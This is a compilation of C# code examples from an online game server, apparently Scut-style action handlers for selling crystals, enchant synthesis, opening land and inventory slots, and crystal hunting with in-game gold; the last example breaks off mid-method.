Example #1
0
        public override bool TakeAction()
        {
            int saleNum = 0;

            if (ops == 1)
            {
                var             package     = UserCrystalPackage.Get(Uid);
                UserCrystalInfo userCrystal = package.CrystalPackage.Find(m => m.UserCrystalID.Equals(userCrystalID));
                if (userCrystal != null)
                {
                    totalPrice = (new ConfigCacheSet <CrystalInfo>().FindKey(userCrystal.CrystalID) ?? new CrystalInfo()).Price;

                    ContextUser.GameCoin = MathUtils.Addition(ContextUser.GameCoin, totalPrice, int.MaxValue);
                    //ContextUser.Update();
                    UserLogHelper.AppenCtystalLog(ContextUser.UserID, 4, userCrystal.CrystalID, totalPrice, 0, null, userCrystal.CrystalLv, userCrystal.CurrExprience);
                    package.RemoveCrystal(userCrystal);
                }
                else
                {
                    CrystalHelper.SellGrayCrystal(ContextUser, userCrystalID, out saleNum);
                }
            }
            else if (ops == 2)
            {
                CrystalHelper.SellGrayCrystal(ContextUser, null, out saleNum);
            }
            else
            {
                ErrorCode = LanguageManager.GetLang().ErrorCode;
                ErrorInfo = LanguageManager.GetLang().ServerBusy;
                return(false);
            }
            return(true);
        }
Example #2
0
 /// <summary>
 /// 强化
 /// </summary>
 private void UpdateUserItem(GameUser user, UserItemInfo userItem, int strongMoney)
 {
     if (user.GameCoin >= strongMoney)
     {
         user.GameCoin = MathUtils.Subtraction(user.GameCoin, strongMoney, 0);
         var package = UserItemPackage.Get(user.UserID);
         strongLv = 0;
         VipLvInfo vipLvInfo = new ConfigCacheSet <VipLvInfo>().FindKey(user.VipLv);
         for (int i = 0; i < ops; i++)
         {
             EquStreng streng = null;
             if (vipLvInfo != null && vipLvInfo.EquStreng != null)
             {
                 streng = vipLvInfo.EquStreng;
             }
             if (streng != null && RandomUtils.IsHit(streng.probability))
             {
                 strongLv += (short)RandomUtils.GetRandom(streng.start, streng.end);
             }
             else
             {
                 strongLv += 1;
             }
         }
         userItem.ItemLv = MathUtils.Addition(userItem.ItemLv, strongLv);
         package.SaveItem(userItem);
         UserLogHelper.AppenStrongLog(user.UserID, 1, userItem.UserItemID, userItem.ItemID, 2, userItem.ItemLv, 0, userItem.GeneralID);
     }
 }
Example #3
0
        public override bool TakeAction()
        {
            int       sumGold = GetPostionUseGold(landPostion);
            UserPlant plant   = new GameDataCacheSet <UserPlant>().FindKey(ContextUser.UserID);
            UserLand  uLands  = new GameDataCacheSet <UserLand>().FindKey(ContextUser.UserID, landPostion);

            if (uLands != null)
            {
                ErrorCode = LanguageManager.GetLang().ErrorCode;
                ErrorInfo = LanguageManager.GetLang().St10008_LandPostionIsOpen;
                return(false);
            }

            if (Ops == 1)
            {
                ErrorCode = 1;
                ErrorInfo = string.Format(LanguageManager.GetLang().St10008_OpenLandPostion, sumGold);
                return(false);
            }
            else if (Ops == 2)
            {
                if (ContextUser.GoldNum < sumGold)
                {
                    ErrorCode = 2;
                    ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough;
                    return(false);
                }
                if (ContextUser.GoldNum >= sumGold)
                {
                    ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, sumGold, int.MaxValue);
                    //ContextUser.Update();

                    plant.LandNum = landPostion;
                    //plant.Update();

                    UserLand land = new UserLand()
                    {
                        UserID       = ContextUser.UserID,
                        GeneralID    = 0,
                        LandPositon  = landPostion,
                        PlantType    = PlantType.Experience,
                        IsRedLand    = 2,
                        IsBlackLand  = 2,
                        IsGain       = 2,
                        PlantQuality = PlantQualityType.PuTong
                    };
                    var cacheSet = new GameDataCacheSet <UserLand>();
                    cacheSet.Add(land, GameEnvironment.CacheUserPeriod);
                    UserLogHelper.AppenLandLog(ContextUser.UserID, 1, 0, landPostion, sumGold, 0, 0, 0);
                }
            }
            return(true);
        }
Example #4
0
        public override bool TakeAction()
        {
            if (latticeNum > ContextUser.WarehouseNum)
            {
                int maxWarehouseNum = ConfigEnvSet.GetInt("User.WarehouseMaxNum");
                int openGold        = GetOpenGoldNum(latticeNum, ContextUser.WarehouseNum);
                int UserGridNum     = ContextUser.WarehouseNum;
                int OpenGridNum     = MathUtils.Addition(UserGridNum, latticeNum, maxWarehouseNum);//开启的格子数
                int subGridNum      = MathUtils.Subtraction(latticeNum, UserGridNum, 0);
                if (ops == 1)
                {
                    //开启第n个格子所需的晶石
                    this.ErrorCode = 1;
                    this.ErrorInfo = string.Format(LanguageManager.GetLang().St1108_WarehouseNumUseGold, subGridNum, openGold);
                    return(false);
                }
                else if (ops == 2)
                {
                    if (ContextUser.GoldNum >= openGold)
                    {
                        this.ErrorCode = 2;

                        ContextUser.UseGold      = MathUtils.Addition(ContextUser.UseGold, openGold, int.MaxValue);
                        ContextUser.WarehouseNum = latticeNum;
                        //ContextUser.Update();
                        UserLogHelper.AppenUseGoldLog(ContextUser.UserID, 5, latticeNum, OpenGridNum, openGold,
                                                      ContextUser.GoldNum,
                                                      MathUtils.Addition(ContextUser.GoldNum, openGold, int.MaxValue));
                    }
                    else
                    {
                        this.ErrorCode = LanguageManager.GetLang().ErrorCode;
                        this.ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough;
                        return(false);
                    }
                }
                else
                {
                    this.ErrorCode = LanguageManager.GetLang().ErrorCode;
                    return(false);
                }
            }
            return(true);
        }
Example #5
0
        /// <summary>
        /// 合成水晶
        /// </summary>
        /// <param name="userCryStal1"></param>
        /// <param name="userCryStal2"></param>
        /// <param name="cryExprience2"></param>
        private void UpdateCrystal(string _userCrystalID1, string _userCrystalID2, int cryExprience2)
        {
            var                       package          = UserCrystalPackage.Get(Uid);
            UserCrystalInfo           userCryStalInfo1 = package.CrystalPackage.Find(m => m.UserCrystalID.Equals(_userCrystalID1));
            UserCrystalInfo           userCryStalInfo2 = package.CrystalPackage.Find(m => m.UserCrystalID.Equals(_userCrystalID2));
            CacheList <SynthesisInfo> SynList          = new CacheList <SynthesisInfo>();

            SynList.Add(new SynthesisInfo()
            {
                DemandID = userCryStalInfo2.CrystalID, Num = userCryStalInfo2.CurrExprience
            });
            userCryStalInfo1.CurrExprience = MathUtils.Addition(userCryStalInfo1.CurrExprience, cryExprience2);
            userCryStalInfo1.CurrExprience = MathUtils.Addition(userCryStalInfo1.CurrExprience, userCryStalInfo2.CurrExprience);
            package.SaveCrystal(userCryStalInfo1);
            //package.DelayChange();
            UserHelper.CheckCrystalEscalate(ContextUser.UserID, userCryStalInfo1.UserCrystalID);
            UserLogHelper.AppenCtystalLog(ContextUser.UserID, 3, userCryStalInfo1.CrystalID, 0, 0, SynList, userCryStalInfo1.CrystalLv, userCryStalInfo1.CurrExprience);
            package.RemoveCrystal(userCryStalInfo2);
        }
Example #6
0
        public override bool TakeAction()
        {
            if (ContextUser.UserExtend != null && latticeNum > ContextUser.UserExtend.EnchantGridNum)
            {
                int openGold   = EnchantHelper.EnchantOpenGoldNum(latticeNum, ContextUser.UserExtend.EnchantGridNum);
                int subGridNum = MathUtils.Subtraction(latticeNum, ContextUser.UserExtend.EnchantGridNum);
                if (ops == 1)
                {
                    ErrorCode = ops;
                    ErrorInfo = string.Format(LanguageManager.GetLang().St1260_UseGoldOpenPackage, openGold, subGridNum);
                    return(false);
                }
                else if (ops == 2)
                {
                    if (ContextUser.GoldNum >= openGold)
                    {
                        ErrorCode = ops;
                        int goldNum = ContextUser.GoldNum;
                        ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, openGold);
                        ContextUser.UserExtend.UpdateNotify(obj =>
                        {
                            ContextUser.UserExtend.EnchantGridNum = (short)latticeNum;
                            return(true);
                        });

                        UserLogHelper.AppenUseGoldLog(ContextUser.UserID, 8, latticeNum, subGridNum, openGold, ContextUser.GoldNum, goldNum);
                    }
                    else
                    {
                        ErrorCode = LanguageManager.GetLang().ErrorCode;
                        ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough;
                        return(false);
                    }
                }
                else
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    return(false);
                }
            }
            return(true);
        }
Example #7
0
 public override bool TakeAction()
 {
     if (latticeNum > ContextUser.CrystalNum)
     {
         int openGold       = GetOpenGoldNum(latticeNum, ContextUser.CrystalNum);
         int UserCrystalNum = ContextUser.CrystalNum;
         int openGridNum    = MathUtils.Addition(UserCrystalNum, latticeNum, 20);//开启的格子数
         int subNum         = MathUtils.Subtraction(latticeNum, ContextUser.CrystalNum, 0);
         if (ops == 1)
         {
             //开启第n个格子所需的晶石
             ErrorCode = 1;
             ErrorInfo = string.Format(LanguageManager.GetLang().St1310_UseCrystalGold, subNum, openGold);
             return(false);
         }
         else if (ops == 2)
         {
             if (ContextUser.GoldNum >= openGold)
             {
                 ErrorCode              = 2;
                 ContextUser.UseGold    = MathUtils.Addition(ContextUser.UseGold, openGold, int.MaxValue);
                 ContextUser.CrystalNum = latticeNum;
                 //ContextUser.Update();
                 UserLogHelper.AppenUseGoldLog(ContextUser.UserID, 5, latticeNum, openGridNum, openGold,
                                               ContextUser.GoldNum,
                                               MathUtils.Addition(ContextUser.GoldNum, openGold, int.MaxValue));
             }
             else
             {
                 ErrorCode = LanguageManager.GetLang().ErrorCode;
                 ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough;
                 return(false);
             }
         }
         else
         {
             ErrorCode = LanguageManager.GetLang().ErrorCode;
             return(false);
         }
     }
     return(true);
 }
Example #8
0
        public override bool TakeAction()
        {
            var package = UserEnchant.Get(ContextUser.UserID);

            if (package == null)
            {
                return(false);
            }
            UserEnchantInfo userEnchantInfo = package.EnchantPackage.Find(m => m.UserEnchantID == userEnchantID);

            if (userEnchantInfo == null)
            {
                ErrorCode = LanguageManager.GetLang().ErrorCode;
                ErrorInfo = LanguageManager.GetLang().St1256_EnchantNotEnough;
                return(false);
            }
            EnchantInfo   enchant       = new ShareCacheStruct <EnchantInfo>().FindKey(userEnchantInfo.EnchantID);
            EnchantLvInfo enchantLvInfo = new ShareCacheStruct <EnchantLvInfo>().FindKey(userEnchantInfo.EnchantID, userEnchantInfo.EnchantLv);

            if (enchant != null && enchantLvInfo != null)
            {
                ContextUser.GameCoin = MathUtils.Addition(ContextUser.GameCoin, enchantLvInfo.CoinPrice);
                if (ContextUser.UserExtend == null)
                {
                    ContextUser.UserExtend = new GameUserExtend();
                }
                ContextUser.UserExtend.UpdateNotify(obj =>
                {
                    ContextUser.UserExtend.MoJingNum = MathUtils.Addition(ContextUser.UserExtend.MoJingNum, enchantLvInfo.MoJingPrice);
                    return(true);
                });
                UserLogHelper.AppenEnchantLog(ContextUser.UserID, 1, userEnchantInfo, new CacheList <SynthesisInfo>());
                package.RemoveEnchant(userEnchantInfo);
            }
            return(true);
        }
Example #9
0
        /// <summary>
        /// 附魔符ID=等级=数量
        /// </summary>
        /// <param name="list"></param>
        /// <param name="userID"></param>
        private static void PutEnchant(string[] list, string userID)
        {
            var package = UserEnchant.Get(userID);

            foreach (string enchant in list)
            {
                if (string.IsNullOrEmpty(enchant))
                {
                    continue;
                }
                string[] crystalList = enchant.Split(new char[] { '=' });

                int   enchantID  = crystalList.Length > 0 ? Convert.ToInt32(crystalList[0]) : 0;
                short enchantLv  = crystalList.Length > 1 ? Convert.ToInt16(crystalList[1]) : (short)0;
                int   enchantNum = crystalList.Length > 2 ? Convert.ToInt32(crystalList[2]) : 0;

                EnchantInfo enchantInfo   = new ShareCacheStruct <EnchantInfo>().FindKey(enchantID);
                var         enchantLvInfo = new ShareCacheStruct <EnchantLvInfo>().FindKey(enchantID, enchantLv);
                if (enchantInfo != null && package != null && enchantLvInfo != null)
                {
                    for (int i = 0; i < enchantNum; i++)
                    {
                        UserEnchantInfo userenchant = EnchantHelper.GetUserEnchantInfo(enchantID, enchantLv);
                        if (userenchant != null)
                        {
                            UserLogHelper.AppenEnchantLog(userID, 2, userenchant, new CacheList <SynthesisInfo>());
                            package.SaveEnchant(userenchant);
                        }
                    }
                }
                else
                {
                    new Base.BaseLog().SaveLog("领取附魔符异常", new Exception(string.Format("userID:{3},enchantID:{0},enchantNum:{1},enchantLv:{2}", enchantID, enchantNum, enchantLv, userID)));
                }
            }
        }
Example #10
0
        public override bool TakeAction()
        {
            var package = UserEnchant.Get(ContextUser.UserID);

            if (package != null)
            {
                var userEnchant = package.EnchantPackage.Find(m => m.UserEnchantID == userEnchantID);
                if (userEnchant != null)
                {
                    if (userEnchant.MaxMature >= GameConfigSet.MaxEnchantMature)
                    {
                        ErrorCode = LanguageManager.GetLang().ErrorCode;
                        ErrorInfo = LanguageManager.GetLang().St1258_OutMaxEnchantMature;
                        return(false);
                    }
                    List <EnchantCulTure> culTuresList   = EnchantHelper.EnchantCultureList();
                    EnchantCulTure        enchantCulTure = culTuresList.Find(m => m.CultureType == cultureType);
                    if (enchantCulTure != null)
                    {
                        if (cultureType == EnchantCultureType.Ordinary)
                        {
                            if (ContextUser.UserExtend == null || ContextUser.UserExtend.MoJingNum < enchantCulTure.MoJingNum)
                            {
                                ErrorCode = LanguageManager.GetLang().ErrorCode;
                                ErrorInfo = LanguageManager.GetLang().St1258_MagicCrystalNotEnough;
                                return(false);
                            }
                        }
                        else
                        {
                            if (ContextUser.GoldNum < enchantCulTure.GoldNum)
                            {
                                ErrorCode = LanguageManager.GetLang().ErrorCode;
                                ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough;
                                return(false);
                            }
                        }
                        string content = string.Empty;
                        if (RandomUtils.IsHit(enchantCulTure.SuccessNum))
                        {
                            if (cultureType == EnchantCultureType.Ordinary)
                            {
                                ContextUser.UserExtend.MoJingNum = MathUtils.Subtraction(ContextUser.UserExtend.MoJingNum, enchantCulTure.MoJingNum);
                                content = string.Format(LanguageManager.GetLang().St1258_ConsumeMagicCrystalUpEnhance, enchantCulTure.MoJingNum, enchantCulTure.UpMature);
                            }
                            else
                            {
                                ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, enchantCulTure.GoldNum);
                                content             = string.Format(LanguageManager.GetLang().St1258_ConsumeGoldNumUpEnhance, enchantCulTure.GoldNum, enchantCulTure.UpMature);
                            }
                            short maxMatureNum = MathUtils.Addition(userEnchant.MaxMature, enchantCulTure.UpMature, (short)GameConfigSet.MaxEnchantMature);
                            userEnchant.UpdateNotify(obj =>
                            {
                                userEnchant.MaxMature = maxMatureNum;
                                return(true);
                            });
                            UserLogHelper.AppenEnchantLog(ContextUser.UserID, 3, userEnchant, new CacheList <SynthesisInfo>());
                        }
                        else
                        {
                            if (cultureType == EnchantCultureType.Ordinary)
                            {
                                ContextUser.UserExtend.MoJingNum = MathUtils.Subtraction(ContextUser.UserExtend.MoJingNum, enchantCulTure.MoJingNum);
                                content = string.Format(LanguageManager.GetLang().St1258_EnhanceCultureFailedMagicCrystal, enchantCulTure.MoJingNum);
                            }
                            else
                            {
                                ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, enchantCulTure.GoldNum);
                                content             = string.Format(LanguageManager.GetLang().St1258_EnhanceCultureFailedGold, enchantCulTure.GoldNum);
                            }
                        }
                        ErrorCode = 0;
                        ErrorInfo = content;
                    }
                }
            }
            return(true);
        }
Example #11
0
        public override bool TakeAction()
        {
            var syntheList = new CacheList <SynthesisInfo>();
            var package    = UserEnchant.Get(ContextUser.UserID);

            if (ops == 1)
            {
                UserEnchantInfo userEnchantinfo1 = package.EnchantPackage.Find(m => m.UserEnchantID == userEnchantID1);
                UserEnchantInfo userEnchantinfo2 = package.EnchantPackage.Find(m => m.UserEnchantID == userEnchantID2);
                if (userEnchantinfo1 == null || userEnchantinfo2 == null)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St1256_EnchantNotEnough;
                    return(false);
                }

                if (userEnchantinfo1.EnchantLv >= GameConfigSet.MaxEnchantLv)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St1256_OutMaxEnchantLv;
                    return(false);
                }
                int         entExprience1 = 0;
                int         entExprience2 = 0;
                EnchantInfo enchant1      = new ShareCacheStruct <EnchantInfo>().FindKey(userEnchantinfo1.EnchantID);
                EnchantInfo enchant2      = new ShareCacheStruct <EnchantInfo>().FindKey(userEnchantinfo2.EnchantID);
                if (enchant1 != null && enchant2 != null)
                {
                    entExprience1 = enchant1.Experience;
                    entExprience2 = enchant2.Experience;
                    if (userEnchantinfo1.EnchantLv > userEnchantinfo2.EnchantLv ||
                        (userEnchantinfo1.EnchantLv == userEnchantinfo2.EnchantLv &&
                         userEnchantinfo1.CurrExprience >= userEnchantinfo2.CurrExprience))
                    {
                        UpdateEnchant(userEnchantID1, userEnchantID2, entExprience2);
                        syntheList.Add(new SynthesisInfo()
                        {
                            DemandID = userEnchantinfo2.EnchantID, Num = userEnchantinfo2.CurrExprience
                        });
                        UserLogHelper.AppenEnchantLog(ContextUser.UserID, 4, userEnchantinfo1, syntheList);
                    }
                    else
                    {
                        UpdateEnchant(userEnchantID2, userEnchantID1, entExprience1);
                        syntheList.Add(new SynthesisInfo()
                        {
                            DemandID = userEnchantinfo1.EnchantID, Num = userEnchantinfo1.CurrExprience
                        });
                        UserLogHelper.AppenEnchantLog(ContextUser.UserID, 4, userEnchantinfo2, syntheList);
                    }
                }
            }
            else if (ops == 2)
            {
                int experience   = 0;
                var enchantArray = package.EnchantPackage.FindAll(m => string.IsNullOrEmpty(m.UserItemID));
                if (enchantArray.Count == 0)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St1256_EnchantNotEnough;
                    return(false);
                }
                if (enchantArray.Count == 1)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St1256_EnchantNumNotEnough;
                    return(false);
                }
                enchantArray.QuickSort((x, y) =>
                {
                    int result = 0;
                    if (x == null && y == null)
                    {
                        return(0);
                    }
                    if (x != null && y == null)
                    {
                        return(1);
                    }
                    if (x == null)
                    {
                        return(-1);
                    }
                    result = y.EnchantLv.CompareTo(x.EnchantLv);
                    if (result == 0)
                    {
                        result = y.CurrExprience.CompareTo(x.CurrExprience);
                    }
                    return(result);
                });

                UserEnchantInfo uEnchantInfo =
                    package.EnchantPackage.Find(m => m.UserEnchantID == enchantArray[0].UserEnchantID);
                if (uEnchantInfo == null)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St1262_EnchantSynthesisNotEnough;
                    return(false);
                }
                EnchantLvInfo enchantLvInfo = new ShareCacheStruct <EnchantLvInfo>().FindKey(uEnchantInfo.EnchantID,
                                                                                             GameConfigSet.MaxEnchantLv);
                int maxExprience = enchantLvInfo == null ? 0 : enchantLvInfo.Experience;

                foreach (var info in enchantArray)
                {
                    EnchantInfo enchantInfo = new ShareCacheStruct <EnchantInfo>().FindKey(info.EnchantID);
                    if (enchantInfo != null)
                    {
                        experience = enchantInfo.Experience;
                    }
                    if (uEnchantInfo.UserEnchantID != info.UserEnchantID)
                    {
                        if (uEnchantInfo.CurrExprience >= maxExprience)
                        {
                            ErrorCode = LanguageManager.GetLang().ErrorCode;
                            ErrorInfo = LanguageManager.GetLang().St1256_OutMaxEnchantLv;
                            return(false);
                        }
                        syntheList.Add(new SynthesisInfo()
                        {
                            DemandID = info.EnchantID, Num = info.CurrExprience
                        });
                        UpdateEnchant(uEnchantInfo.UserEnchantID, info.UserEnchantID, experience);
                    }
                }
                UserLogHelper.AppenEnchantLog(ContextUser.UserID, 4, uEnchantInfo, syntheList);
            }
            return(true);
        }
Example #12
0
        public override bool TakeAction()
        {
            if (ContextUser.VipLv < 4)
            {
                this.ErrorCode = LanguageManager.GetLang().ErrorCode;
                this.ErrorInfo = LanguageManager.GetLang().St_VipNotEnough;
                return(false);
            }
            List <UserLand> uLandArray = new GameDataCacheSet <UserLand>().FindAll(ContextUser.UserID, u => u.IsRedLand == 1);

            if (uLandArray.Count < 9)
            {
                this.ErrorCode = LanguageManager.GetLang().ErrorCode;
                this.ErrorInfo = LanguageManager.GetLang().St10011_RedLandNotEnough;
                return(false);
            }
            if (uLandArray.Count > 0 && uLandArray[uLandArray.Count - 1].IsBlackLand == 1)
            {
                ErrorCode = LanguageManager.GetLang().ErrorCode;
                ErrorInfo = LanguageManager.GetLang().St10011_BlackLandFull;
                return(false);
            }

            List <UserLand> landArray = new GameDataCacheSet <UserLand>().FindAll(ContextUser.UserID, u => u.IsBlackLand == 2);

            landArray.QuickSort((x, y) =>
            {
                if (x == null && y == null)
                {
                    return(0);
                }
                if (x != null && y == null)
                {
                    return(1);
                }
                if (x == null)
                {
                    return(-1);
                }
                return(((int)x.LandPositon).CompareTo((int)y.LandPositon));
            });
            int position = 0;

            if (landArray.Count > 0)
            {
                position = landArray[0].LandPositon;
            }
            int sumGold = GetPostionUseGold(position);

            if (ops == 1)
            {
                this.ErrorCode = 1;
                this.ErrorInfo = string.Format(LanguageManager.GetLang().St10011_UpBlackLandUseGold, sumGold);
                return(false);
            }
            else if (ops == 2)
            {
                if (ContextUser.GoldNum < sumGold)
                {
                    this.ErrorCode = 2;
                    this.ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough;
                    return(false);
                }
                UserLand land = new GameDataCacheSet <UserLand>().FindKey(ContextUser.UserID, position);
                if (land != null && land.IsRedLand == 1 && land.IsBlackLand == 2)
                {
                    if (land.IsRedLand == 1 && land.IsBlackLand == 2)
                    {
                        ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, sumGold, int.MaxValue);

                        land.IsBlackLand = 1;
                        UserLogHelper.AppenLandLog(ContextUser.UserID, 3, 0, position, sumGold, 0, 0, 0);
                    }
                }
                else if (land != null && land.IsRedLand == 2)
                {
                    this.ErrorCode = LanguageManager.GetLang().ErrorCode;
                    this.ErrorInfo = LanguageManager.GetLang().St10011_NotRedLand;
                    return(false);
                }
                else
                {
                    this.ErrorCode = LanguageManager.GetLang().ErrorCode;
                    this.ErrorInfo = LanguageManager.GetLang().St10010_UpRedLandNotEnough;
                    return(false);
                }
            }
            return(true);
        }
Example #13
0
        public override bool TakeAction()
        {
            UserHelper.GetUserLightOpen(ContextUser.UserID);
            short opType     = 0;
            int   huntingID2 = 0;

            if (huntingID < 1005)
            {
                huntingID2 = MathUtils.Addition(huntingID, 1, int.MaxValue);
            }
            else
            {
                huntingID2 = 1001; //huntingID;
            }
            UserHelper.ChechDailyRestrain(ContextUser.UserID);

            if (!CrystalHelper.CheckAllowCrystall(ContextUser))
            {
                ErrorCode = 1000;
                ErrorInfo = LanguageManager.GetLang().St1305_FateBackpackFull;
                return(false);
            }
            else
            {
                if (!CrystalHelper.CheckAllowCrystall(ContextUser))
                {
                    ErrorCode = errorNum;
                    ErrorInfo = LanguageManager.GetLang().St1305_FateBackpackFull;
                    return(false);
                }
            }

            ProbabilityInfo probabilityInfo = null;

            if (ops == 1)
            {
                #region
                opType = 1;
                UserDailyRestrain userRestrain = new PersonalCacheStruct <UserDailyRestrain>().FindKey(ContextUser.UserID);
                probabilityInfo = new ShareCacheStruct <ProbabilityInfo>().FindKey(huntingID); //当前猎命人物的概率
                if (probabilityInfo == null)
                {
                    return(false);
                }
                ProbabilityInfo probability1 = new ShareCacheStruct <ProbabilityInfo>().FindKey(huntingID2);
                if (userRestrain != null && userRestrain.Funtion2 >= VipHelper.GetVipUseNum(ContextUser.VipLv, RestrainType.MianFeiLieMing) && DateTime.Now.Date == userRestrain.RefreshDate.Date)
                {
                    if (probabilityInfo.Price > ContextUser.GameCoin)
                    {
                        ErrorCode = errorNum;
                        ErrorInfo = LanguageManager.GetLang().St_GameCoinNotEnough;
                        return(false);
                    }
                }
                //暑期第三弹
                if (huntingID2 == 1001 && !NoviceHelper.IsGianCrystalPack(ContextUser))
                {
                    ErrorCode = errorNum;
                    ErrorInfo = LanguageManager.GetLang().St1305_BeiBaoBackpackFull;
                    return(false);
                }
                var lightCacheSet = new PersonalCacheStruct <UserLight>();
                if (huntingID != 1001)
                {
                    UserLight userLight1 = lightCacheSet.FindKey(ContextUser.UserID, huntingID);
                    if (userLight1.IsLight == 2)
                    {
                        ErrorCode = LanguageManager.GetLang().ErrorCode;
                        return(false);
                    }

                    if (userLight1.IsLight == 1)
                    {
                        userLight1.IsLight = 2;
                        //userLight1.Update();
                    }
                }
                UserLight userLight = new PersonalCacheStruct <UserLight>().FindKey(ContextUser.UserID, huntingID2);
                if (RandomUtils.IsHit(probability1.Light))
                {
                    ErrorCode = ErrorCode;
                    ErrorInfo = probability1.HuntingName;

                    if (userLight != null)
                    {
                        userLight.IsLight = 1;
                        //userLight.Update();
                    }
                    else
                    {
                        userLight = new UserLight()
                        {
                            UserID    = ContextUser.UserID,
                            HuntingID = huntingID2,
                            IsLight   = 1
                        };
                        lightCacheSet.Add(userLight);
                    }
                }

                if (userRestrain != null)
                {
                    if (userRestrain.Funtion2 >= VipHelper.GetVipUseNum(ContextUser.VipLv, RestrainType.MianFeiLieMing) && DateTime.Now.Date == userRestrain.RefreshDate.Date)
                    {
                        ContextUser.GameCoin = MathUtils.Subtraction(ContextUser.GameCoin, probabilityInfo.Price, 0);
                        //ContextUser.Update();
                    }
                    else
                    {
                        userRestrain.Funtion2 = MathUtils.Addition(userRestrain.Funtion2, 1, int.MaxValue);
                        //userRestrain.Update();
                    }
                }
                else
                {
                    ContextUser.GameCoin = MathUtils.Subtraction(ContextUser.GameCoin, probabilityInfo.Price, 0);
                    //ContextUser.Update();
                }

                lightArray = new PersonalCacheStruct <UserLight>().FindAll(ContextUser.UserID);
                #endregion
            }
            else if (ops == 2)
            {
                #region
                opType = 2;
                if (ContextUser.VipLv < 5)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St_VipNotEnough;
                    return(false);
                }

                probabilityInfo = new ShareCacheStruct <ProbabilityInfo>().FindKey(huntingID); //当前猎命人物的概率
                if (probabilityInfo == null)
                {
                    return(false);
                }

                if (ContextUser.GoldNum < probabilityInfo.Price)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St_GoldNotEnough;
                    return(false);
                }
                UserLight uLightInfo = new PersonalCacheStruct <UserLight>().FindKey(ContextUser.UserID, probabilityInfo.GoldHunting);
                if (uLightInfo != null && uLightInfo.IsLight == 1)
                {
                    ErrorCode = LanguageManager.GetLang().ErrorCode;
                    ErrorInfo = LanguageManager.GetLang().St1305_HuntingIDLight;
                    return(false);
                }
                else if (uLightInfo != null && (uLightInfo.IsLight == 2 || uLightInfo.IsLight == 0))
                {
                    uLightInfo.IsLight = 1;
                }
                else
                {
                    uLightInfo = new UserLight()
                    {
                        UserID    = ContextUser.UserID,
                        HuntingID = probabilityInfo.GoldHunting,
                        IsLight   = 1
                    };
                    new PersonalCacheStruct <UserLight>().Add(uLightInfo);
                }

                ContextUser.UseGold = MathUtils.Addition(ContextUser.UseGold, probabilityInfo.Price, int.MaxValue);
                lightArray          = new PersonalCacheStruct <UserLight>().FindAll(ContextUser.UserID);
                #endregion
            }

            //每种品质的概率
            double[]           probabilityArray2 = { (double)probabilityInfo.Gray, (double)probabilityInfo.Green, (double)probabilityInfo.Blue, (double)probabilityInfo.Purple, (double)probabilityInfo.Yellow, (double)probabilityInfo.Red };
            int                index2            = RandomUtils.GetHitIndex(probabilityArray2);
            CrystalQualityType qualityType       = (CrystalQualityType)Enum.Parse(typeof(CrystalQualityType), (index2 + 1).ToString());
            List <CrystalInfo> crystalArray2     = new ShareCacheStruct <CrystalInfo>().FindAll(u => u.CrystalQuality == qualityType && u.DemandLv <= ContextUser.UserLv);
            if (crystalArray2.Count > 0)
            {
                int randomNum = RandomUtils.GetRandom(0, crystalArray2.Count);
                crystal = new ShareCacheStruct <CrystalInfo>().FindKey(crystalArray2[randomNum].CrystalID);
                if (crystal != null && crystal.CrystalQuality == CrystalQualityType.Gray)
                {
                    //wuzf修改 8-15 灰色放在临时背包不存DB
                    CrystalHelper.AppendGrayCrystal(ContextUser, crystal.CrystalID);
                }
                else if (crystal != null)
                {
                    var package = UserCrystalPackage.Get(Uid);

                    UserCrystalInfo userCrystal = new UserCrystalInfo()
                    {
                        UserCrystalID = Guid.NewGuid().ToString(),
                        CrystalID     = crystal.CrystalID,
                        CrystalLv     = 1,
                        CurrExprience = 0,
                        GeneralID     = 0,
                        IsSale        = 1,
                        CreateDate    = DateTime.Now
                    };
                    package.SaveCrystal(userCrystal);
                    UserLogHelper.AppenCtystalLog(ContextUser.UserID, opType, crystal.CrystalID, probabilityInfo.Price, probabilityInfo.Price, null, 1, 0);
                    //高品质聊天通知);
                    if (crystal.CrystalQuality >= CrystalQualityType.Yellow)
                    {
                        var    cacheChat = new TjxChatService();
                        string content   = string.Format(LanguageManager.GetLang().St1305_HighQualityNotice,
                                                         ContextUser.NickName,
                                                         CrystalHelper.GetQualityName(crystal.CrystalQuality),
                                                         crystal.CrystalName
                                                         );
                        cacheChat.SystemSend(ChatType.World, content);
                    }
                }
            }

            //日常任务-猎命
            TaskHelper.TriggerDailyTask(Uid, 4009);
            return(true);
        }
Example #14
0
        public override bool TakeAction()
        {
            int energyNum = ConfigEnvSet.GetInt("User.EnergyNum");

            UserHelper.ChechDailyRestrain(ContextUser.UserID);
            var               cacheSet     = new PersonalCacheStruct <UserDailyRestrain>();
            double            addNum       = FestivalHelper.SurplusPurchased(ContextUser.UserID, FestivalType.PurchasedEnergy);//活动加成
            int               payNum       = FestivalHelper.SurplusEnergyNum(ContextUser.UserID);
            UserDailyRestrain userRestrain = cacheSet.FindKey(ContextUser.UserID);

            if (payNum == 0)
            {
                if (userRestrain != null && DateTime.Now.Date != userRestrain.RefreshDate.Date)
                {
                    userRestrain.Funtion4 = 0;
                }

